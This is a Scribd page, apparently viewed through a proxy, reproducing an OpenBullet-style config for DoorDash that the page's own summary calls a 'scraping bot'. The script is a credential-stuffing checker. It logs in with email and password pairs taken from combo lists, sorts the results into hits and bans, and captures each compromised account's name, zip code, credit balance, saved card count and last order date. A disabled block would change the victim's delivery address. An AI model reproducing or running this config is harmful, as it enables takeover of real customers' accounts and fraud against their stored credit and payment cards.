100% found this document useful (1 vote)
929 views4 pages

Door Dash

The document contains configuration settings for a DoorDash scraping bot, including API keys, URLs, and scripts to retrieve a user's account details such as name, credit balance, address, order history, and payment methods. The bot parses responses to extract and save variables for the user's credit amount, last order date, and whether they receive text notifications.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
929 views4 pages

Door Dash

The document contains configuration settings for a DoorDash scraping bot, including API keys, URLs, and scripts to retrieve a user's account details such as name, credit balance, address, order history, and payment methods. The bot parses responses to extract and save variables for the user's credit amount, last order date, and whether they receive text notifications.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

[SETTINGS]

{
"Name": "DoorDash",
"SuggestedBots": 1,
"MaxCPM": 0,
"LastModified": "2021-06-28T11:38:19.5720166+04:30",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "DrConfiger",
"Version": "1.1.1 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "DoorDash",
"IconPath": "Icon\\svbfile.ico",
"Message": null,
"MessageColor": "#FFFFFFFF",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
REQUEST POST "https://identity.doordash.com/api/v1/auth/token"
CONTENT "{\"credentials\":{\"email\":\"<USER>\",\"password\":\"<PASS>\"}}"
CONTENTTYPE "application/json"
SECPROTO TLS12
HEADER "Authorization:
FtrOvqTNyAkAAAAAAAAAADpTSUJ1bUKhAAAAAAAAAACeT6l00rBlswAAAAAAAAAA"
HEADER "Content-Type: application/json; charset=UTF-8"
HEADER "Host: identity.doordash.com"
HEADER "Connection: Keep-Alive"
HEADER "User-Agent: okhttp/3.14.2"
HEADER "X-NewRelic-ID: XAUEWF5SGwEJUFhUDwcA"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Content-Length: 68"

KEYCHECK
KEYCHAIN Failure OR
KEY "No factors supplied"
KEY "Unable to login "
KEY "deactivated"
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "401"
KEYCHAIN Success OR
KEY "token\":\""

PARSE "<SOURCE>" LR "refresh_token\":\"" "\"" -> VAR "rtoken"

PARSE "<SOURCE>" LR "token\":\"" "\",\"" -> VAR "token"

REQUEST GET "https://api.doordash.com/v2/consumers/me/?


expand=account_credits_monetary_fields&expand=default_payment_card&expand=district&
expand=district.submarket&expand=phone_number_components&expand=referree_amount_mon
etary_fields&expand=referrer_amount_monetary_fields&fields=account_credits_monetary
_fields&fields=account_credits_monetary_fields.currency&fields=account_credits_mone
tary_fields.decimal_places&fields=account_credits_monetary_fields.display_string&fi
elds=account_credits_monetary_fields.unit_amount&fields=default_country_shortname&f
ields=default_address&fields=default_payment_card&fields=district&fields=district.i
d&fields=district.submarket&fields=district.submarket.id&fields=district.submarket.
name&fields=email&fields=first_name&fields=has_accepted_latest_terms_of_service&fie
lds=has_usable_password&fields=id&fields=is_guest&fields=last_name&fields=num_order
s_submitted&fields=phone_number_components&fields=phone_number_components.country_c
ode&fields=phone_number_components.country_shortname&fields=phone_number_components
.national_number&fields=phone_number&fields=receive_marketing_push_notifications&fi
elds=receive_push_notifications&fields=receive_text_notifications&fields=referree_a
mount_monetary_fields&fields=referree_amount_monetary_fields.currency&fields=referr
ee_amount_monetary_fields.decimal_places&fields=referree_amount_monetary_fields.dis
play_string&fields=referree_amount_monetary_fields.unit_amount&fields=referrer_amou
nt_monetary_fields&fields=referrer_amount_monetary_fields.currency&fields=referrer_
amount_monetary_fields.decimal_places&fields=referrer_amount_monetary_fields.displa
y_string&fields=referrer_amount_monetary_fields.unit_amount&fields=social_account_p
roviders"

HEADER "Authorization: JWT <token>"

KEYCHECK
KEYCHAIN Failure OR
KEY "Something went wrong"
KEYCHAIN Success OR
KEY "{\"phone_number"

PARSE "<SOURCE>" JSON "first_name" -> VAR "Name"

PARSE "<SOURCE>" JSON "last_name" -> VAR "Name" "<Name> " ""

PARSE "<SOURCE>" LR "\":{\"currency\":\"" "\"" CreateEmpty=FALSE -> CAP "Currency"

PARSE "<SOURCE>" LR "zip_code\":\"" "\"" CreateEmpty=FALSE -> CAP "Zip"

PARSE "<SOURCE>" LR "\":{\"currency\":\"<Currency>\",\"display_string\":\"" "" ->


VAR "Credit"

PARSE "<Credit>" LR "\":{\"currency\":\"<Currency>\",\"display_string\":\"" "\""


CreateEmpty=FALSE -> CAP "Credit"

FUNCTION Replace "AU" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "A" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "US" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "C" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "MX" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "D " "" "<Credit>" -> CAP "Credit"

!#Auto_Change_Address REQUEST POST


"https://api.doordash.com/v2/consumer/me/address/"
! CONTENT "{\"google_place_id\":\"ChIJ9-23LJZF5IkRDBMg-
HJFHjk\",\"printable_address\":\"69699\",\"driver_instructions\":\"\",\"parking_ins
tructions\":\"\",\"entry_code\":\"\",\"subpremise\":\"\"}"
! CONTENTTYPE "application/json"
! HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "receive_text_notifications\":" "," -> VAR "Texts"

REQUEST GET "https://api.doordash.com/v2/consumers/me/payment_cards/"

HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "" "" -> VAR "CreditCards"

FUNCTION CountOccurrences "\"type\"" "<CreditCards>" -> CAP "CreditCards"

REQUEST GET "https://api.doordash.com/v2/consumers/me/order_carts/?


expand=creator&expand=store_order_carts&expand=store_order_carts.delivery&expand=st
ore_order_carts.store&expand=store_order_carts.orders.order_items.item&fields=id&fi
elds=is_group&fields=creator&fields=shortened_url&fields=store_order_carts&fields=s
tore_order_carts.delivery&fields=store_order_carts.num_items&fields=store_order_car
ts.created_at&fields=store_order_carts.store.name&fields=store_order_carts.store.id
&fields=store_order_carts.store.cover_img_url&fields=store_order_carts.delivery.sto
re_confirmed_time&fields=store_order_carts.delivery.dasher_confirmed_time&fields=st
ore_order_carts.delivery.dasher_at_store_time&fields=store_order_carts.delivery.act
ual_pickup_time&fields=store_order_carts.delivery.dasher_approaching_customer_time&
fields=store_order_carts.delivery.quoted_delivery_time&fields=store_order_carts.del
ivery.actual_delivery_time&fields=store_order_carts.delivery.is_asap&fields=store_o
rder_carts.is_consumer_pickup&fields=asap_pickup_time_range_fields&fields=store_ord
er_carts.orders&fields=store_order_carts.orders.order_items.item.name&fields=store_
order_carts.store&fields=total_charged_monetary_fields&fields=store_order_carts.sto
re.is_consumer_subscription_eligible&fields=store_order_carts.delivery.id&limit=10&
offset=0&extra=store_order_carts.orders&extra=store_order_carts.orders.order_items&
extra=payment_card&extra=cancelled_at&include_cancelled=true"

HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "[{\"store_order_carts\":[{\"delivery\":


{\"quoted_delivery_time\":\"" "\"" -> VAR "Last Order"

IF "<Last Order>" EqualTo ""

PARSE "<SOURCE>" LR "" "" CreateEmpty=FALSE -> CAP "Last Order"

IF "<SOURCE>" Contains ",\"cancelled_at\":\""

PARSE "<Last Order>" LR ",\"cancelled_at\":\"" "\"" CreateEmpty=FALSE -> CAP "Last


Order"

FUNCTION Substring "0" "10" "<Last Order>" -> CAP "Last Order"

ELSE

FUNCTION Substring "0" "10" "<Last Order>" -> CAP "Last Order"

ENDIF

!PARSE "<token>" LR "" "" CreateEmpty=FALSE -> CAP "token"

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "FREE" OR
KEY "<Credit>" EqualTo "$0.00"
KEY "<Credit>" EqualTo ""
KEY "<Credit>" LessThan "$10.00"

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy